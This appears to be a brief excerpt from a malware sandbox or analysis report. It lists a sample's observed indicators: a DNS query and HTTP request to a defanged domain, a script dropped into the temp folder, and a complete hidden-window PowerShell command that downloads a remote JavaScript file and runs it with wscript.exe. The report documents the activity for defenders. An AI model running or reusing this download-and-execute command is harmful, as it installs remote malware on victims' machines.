Technical Information
- '<SYSTEM32>\wscript.exe' %TEMP%\1.js
- http://tn#.im/a2l as %temp%\1.js
- 'tn#.im':80
- http://tn#.im/a2l
- DNS ASK tn#.im
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -NoLogo -Command "&{(New-Object System.Net.WebClient).DownloadFile('http://tn#.im/a2l','%TEMP%\1.js');wscript.exe %TEMP%\1.js}"' (with hidden window)